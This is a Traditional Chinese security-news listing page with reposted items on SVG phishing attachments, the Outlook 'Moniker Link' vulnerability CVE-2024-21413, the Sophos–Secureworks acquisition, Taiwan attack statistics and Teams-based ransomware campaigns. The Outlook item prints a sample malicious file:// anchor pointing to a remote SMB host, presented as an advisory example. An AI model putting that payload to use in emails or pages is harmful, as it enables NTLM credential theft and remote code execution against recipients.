AI 代理(AI agent)主動監控閘道器,可提前預測並幫助減少故障
即時監控安全防護基礎建設的健康狀況,包括 CPU、記憶體使用率等
Infinity AI Copilot
基於聊天的 GenAI 助手能了解組織的策略、存取規則、對象、日誌及所有產品的文件紀錄
為安全管理員、IT 部門和安全團隊提供情境化且全面的解決方案,以加速安全管理、減緩威脅和強化回應
有助於在整個 Infinity 平台上快速且有效地實現自動化與協作
Check Point 以 AI 創新升級 Infinity 平台,強化統一安全管理
13 02 2025
Sophos: 駭客採用SVG圖像檔案格式規避反網路釣魚與垃圾郵件防護
本文擷取自資安人
Sophos X-Ops 發現,網路犯罪分子越來越常利用SVG圖像檔案格式來規避反網路釣魚與垃圾郵件防護機制。SVG 檔案內含類似 XML 的文字指令,可用於繪製圖形。Sophos X-Ops 的研究顯示,從去年年底開始,釣魚集團開始採用這項技術,透過電子郵件傳送附帶惡意 SVG 圖形檔案的附件。
攻擊手法如下:
網路犯罪分子向目標發送一封帶有 SVG 檔案附件的電子郵件。
當收件者點開附件時,預設會在瀏覽器中開啟。
該 SVG 檔案內含連結或 JavaScript 程式碼,會將瀏覽器重新導向至託管釣魚工具包的網站。
大多數受害者會看到一個偽造的畫面,誘使他們按下按鈕以開啟或閱讀存放於 DocuSign、Dropbox 或 SharePoint 上的文件,或者收聽透過 Google Voice 接收的語音留言。
Sophos X-Ops 進一步指出,本次研究分析的 SVG 檔案中,近半數僅發送給單一目標,且目標的電子郵件地址或姓名被嵌入在 SVG 檔案內。這種高度客製化的攻擊模式顯示,這些 SVG 檔案正被用於鎖定企業的目標式攻擊。
Sophos: 駭客採用SVG圖像檔案格式規避反網路釣魚與垃圾郵件防護
07 02 2025
Microsoft Outlook發現嚴重RCE漏洞,已遭駭客利用攻擊
本文擷取自資安人
美國網路安全暨基礎設施安全局(CISA)日前發出警告,提醒美國聯邦機構需立即採取行動,防範針對Microsoft Outlook一個嚴重遠端程式碼執行(RCE)漏洞的持續攻擊。
CVE-2024-21413漏洞由Check Point發現,源於Outlook在開啟含有惡意連結的電子郵件時,存在輸入驗證不當的問題。攻擊者可繞過Office檔案的Protected View保護機制(原應將可疑文件限制在唯讀模式),使惡意Office檔案直接在編輯模式下開啟,進而實現遠端程式碼執行。
Check Point將這個漏洞命名為「Moniker Link」,解釋攻擊者可透過在電子郵件中嵌入使用file://協議的惡意連結,並在URL中的檔案副檔名後加入驚嘆號,來繞過Outlook的內建保護機制。
範例如下:
<a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>
受影響的產品包括:
Microsoft Office LTSC 2021
Microsoft 365 Apps for Enterprise
Microsoft Outlook 2016
Microsoft Office 2019
CISA已將此漏洞列入已知被利用漏洞(KEV)目錄,並確認該漏洞正被積極利用中。根據網路安全指令(BOD)22-01,聯邦機構必須在2月27日前完成修補。
資安專家提醒,雖然CISA的警告主要針對美國聯邦機構,但建議私人企業也應優先修補此漏洞,以防止潛在的攻擊。成功利用此漏洞可能導致NTLM憑證遭竊取,以及透過精心製作的Office文件執行任意程式碼。
值得注意的是,Microsoft在修補說明中特別提到,即使僅是在預覽窗格中查看惡意Office文件,也可能觸發攻擊,因此使用者務必及時更新系統。
本文轉載自 bleepingcomputer。
Microsoft Outlook發現嚴重RCE漏洞,已遭駭客利用攻擊
04 02 2025
Sophos 完成對 Secureworks 的收購
本文擷取自資安人
Sophos 宣布已完成對 Secureworks 的收購,本次全現金交易對 Secureworks 的估值約為 8.59 億美元。隨著收購完成,Secureworks 的普通股已停止在納斯達克交易。Sophos 的母公司是領先的軟體投資公司 Thoma Bravo。
透過此次收購,Sophos 現已成為專注於託管式偵測與回應 (MDR) 服務的網路安全供應商,為全球超過 28,000 家不同規模的企業提供支援。此次結合將使 Sophos 能夠提供安全營運平台,內建數百種整合功能,以提供自適應防護、偵測與回應,幫助組織降低網路攻擊風險。這套開放且可擴展的平台可幫助企業,特別是擁有複雜 IT 環境的組織,保護當前與未來的技術投資,提升營運效率並提高網路安全支出的投資回報。Sophos X-Ops 也將透過 Secureworks Counter Threat Unit 以及其安全營運與諮詢團隊的加入,進一步擴展其威脅情報與安全服務能力。
Sophos 執行長 Joe Levy 表示,市場正在廣泛採納 MDR 作為實現網路安全成效的明確途徑,這也推動了該領域的快速成長。Sophos 在勒索軟體偵測、惡意軟體分析以及威脅行為者技術手法等方面擁有高度成熟的能力,這使我們在市場上獨具優勢。此外,Sophos 的原生人工智慧 (AI) 進一步強化了這些防禦能力。近十年前,我們的 AI 團隊已率先創新並獲得全球同業認可,如今該技術已深植於 Sophos 的 MDR、端點、安全網路、電子郵件與雲端安全解決方案之中,以更有效地識別並阻止威脅。透過與 Secureworks 整合,我們擴展的服務與產品組合將提供更強大的端對端安全解決方案,涵蓋身分威脅偵測與回應 (ITDR)、新一代 SIEM 以及託管式風險管理,而所有功能均整合於單一開放平台之上。我們還將能夠透過更廣泛且更深入的全球遙測數據,進一步提升 AI、威脅情報與攻擊研究,這些數據均經過分析師調校,以貼近現實世界的攻擊情境。
在短期內,Sophos 和 Secureworks 將維持正常業務運作,並繼續與全球的通路合作夥伴、MSP 及 MSSP 合作,推廣現有的安全服務與技術。兩家公司的銷售與客戶體驗團隊將持續支援現有客戶,協助續約,並發展現有與新的業務機會。Sophos 透過其 MDR、端點安全、網路安全、電子郵件安全及雲端安全解決方案,保護全球超過 60 萬家企業。這些解決方案能夠整合並自適應運作,透過 Sophos Central 平台提供即時防禦。
根據協議條款,Sophos 以全現金交易方式收購 Secureworks,交易估值約為 8.59 億美元。Secureworks 的股東,包括戴爾科技,將獲得每股 8.50 美元的現金收益。此價格相較於 Secureworks 未受影響的 90 天成交量加權平均價格 (VWAP) 溢價 28%。
Kirkland & Ellis LLP 擔任 Sophos 的法律顧問,高盛、巴克萊、美銀證券、滙豐證券以及瑞銀投資銀行擔任財務顧問,並為此次交易提供債務融資。Piper Sandler & Company 與摩根士丹利擔任 Secureworks 的財務顧問,Paul, Weiss, Rifkind, Wharton & Garrison LLP 則擔任其法律顧問。
Sophos 完成對 Secureworks 的收購
04 02 2025
再次居首!Check Point:2024年台灣平均每週遭受3993次攻擊
本文擷取自資安人
Check Point Software Technologies Ltd. 的威脅情報部門 Check Point Research 數據顯示,2024 年全球平均每周網路攻擊次數為 1,673 次,相較 2023 年增加 44%。其中,台灣的網路攻擊情況尤為嚴重,平均每週遭受 3,993 次攻擊,位居亞太地區之首。
根據 Check Point Research 統計 2024 年 8 至 2025 年 1 月間,台灣受攻擊次數最多的前三大產業依序為硬體供應商(平均每周 6,523 次攻擊)、政府與軍事機構(平均每周 5,498 次)和製造業(平均每周 4,609 次)。
此外,2024 年第四季全球最常被用於網路釣魚攻擊的前五大品牌分別為微軟(Microsoft)、蘋果(Apple)、谷歌(Google)、領英(LinkedIn)和阿里巴巴(Alibaba)。
2024 年全球網路攻擊數據統計
2024 年全球各組織每週平均遭受 1,673 次網路攻擊,較 2023 年增加44%。
全球各產業遭受攻擊情形:「教育與研究機構」面臨最多的網路攻擊,每週平均遭受 3,574 次攻擊。「政府與軍事機構」排名第二,每週平均 2,286 次攻擊,緊接著是「醫療與保健機構」,每週平均 2,210 次攻擊。
全球各地區亮點:非洲是 2024 年度平均遭受最多網路攻擊的地區,每週平均 2,945 次攻擊,較 2023 年增長 55%,其次是亞太地區,每週平均 2,635 次攻擊,年增 37%。其中台灣每週平均遭攻擊次數達 3,993 次,居亞太地區之首,年增率為 31%。
勒索軟體持續延燒:2024 年間全球共計超過 5,200 起勒索軟體攻擊案例,較前一年增加 3%。從全球產業分佈來看,工業製造業(22%)是受勒索軟體影響最嚴重的產業,接著依序為醫療與健康產業(10%)及消費品與服務業(9%)。
威脅情資報告
2024 年 8 月至 2025 年 1 月,台灣受攻擊次數最多的前三大產業依序為硬體供應商(平均每週遭受 6,523 次攻擊)、政府與軍事機構(5,498 次)和製造業(4,609 次)。
威脅情資摘要如下:
台灣最猖獗的惡意軟體為 Remcos。
台灣常見惡意軟體包括遠端控制木馬(RAT)、殭屍網路(FakeUpdates、Mirai)、銀行木馬(Rilide)、下載工具(FakeUpdates)以及竊密軟體(AgentTesla)。
2024 年 8 月至 2025 年 1 月期間,台灣最常見的漏洞利用類型是資訊外洩,影響 75% 組織。
2024 年第四季品牌網路釣魚報告
2024 年第四季最常被用於釣魚攻擊的品牌排名如下:
排名
品牌
出現率
1
微軟(Microsoft)
32%
2
蘋果(Apple)
12%
3
谷歌(Google)
12%
4
領英(LinkedIn)
11%
5
阿里巴巴(Alibaba)
4%
6
WhatsApp
2%
7
亞馬遜(Amazon)
2%
8
X(前身為 Twitter)
2%
9
臉書(Facebook)
2%
10
Adobe
1%
預先防範網路威脅
知名品牌遭網路釣魚攻擊的事件持續增加,更加凸顯保持警戒的重要性。使用者可以採取以下措施降低風險:
安裝最新的安全軟體
謹慎辨識來路不明通訊中的警示
避免點擊可疑連結或瀏覽不明網站
再次居首!Check Point:2024年台灣平均每週遭受3993次攻擊
23 01 2025
Sophos : 新俄羅斯攻擊行動濫用 Microsoft Teams 、遠端管理工具竊取資料與勒索軟體攻擊
本文擷取自資安人
Sophos X-Ops MDR 團隊發現了兩起活躍的威脅行動,分別由不同的威脅攻擊者團體濫用 Microsoft Office 365 平台及 Quick Assist 等遠端管理工具滲透企業的 IT 網路。他們的目的是竊取企業資料並部署勒索軟體。
這兩起攻擊行動都處於高度活躍狀態。Sophos MDR 在過去三個月內觀察到超過 15 起涉及這些手法的事件,其中有一半發生在過去兩週內。
這兩個威脅團體使用了相似的策略組合:
鎖定使用 Microsoft Teams 的企業中少數幾位特定員工作為攻擊目標
在極短的時間內向這些員工發送成千上萬封垃圾郵件——其中一起案例中在不到一小時內發送了超過 3,000 封郵件 (這種手法被稱為「電郵炸彈」)
透過 Microsoft Teams 的語音和視訊通話進一步聯繫,聲稱要協助解決垃圾郵件問題
利用「快速助手」(Quick Assist) 或 Microsoft Teams 的螢幕共享功能控制目標員工的電腦,並部署勒索軟體
Sophos X-Ops 發現其中一個威脅攻擊者團體牽涉到俄羅斯網路犯罪組織 Fin7,而另一個攻擊團體則與俄羅斯威脅組織 Storm-1811 有關。Sophos 發佈此項研究,目的是協助企業防禦這一波活躍的攻擊行動,並提高對其影響日益增加的認識。
Sophos 首席威脅研究員 Sean Gallagher 表示,雖然濫用遠端管理工具與合法服務不是全新的手法,但我們發現越來越多的威脅團體採用這些策略來攻擊各種規模的企業。Microsoft Teams 預設允許組織外部人員與企業內部員工進行聊天或通話,而攻擊者正是濫用了這一功能。由於許多公司依賴託管服務供應商提供 IT 支援,因此當收到標註為『服務台管理人員』的未知來電時,可能不會警覺到危險,特別是這些通話還跟著大量的垃圾郵件炸彈一起出現。隨著 Sophos 持續觀察到越來越多與這些手段相關的託管式偵測和回應 (MDR) 和事件回應 (IR) 案例,我們希望使用 Microsoft 365 的企業能提高警惕。他們應檢查公司內的設定。若可能,應阻止來自外部帳戶的郵件,並封鎖未被企業定期使用的遠端存取工具與遠端機器管理工具。
Sophos : 新俄羅斯攻擊行動濫用 Microsoft Teams 、遠端管理工具竊取資料與勒索軟體攻擊
第 1 頁
第 2 頁
第 3 頁
第 4 頁
第 5 頁
第 6 頁
第 7 頁
第 8 頁
第 9 頁
第 10 頁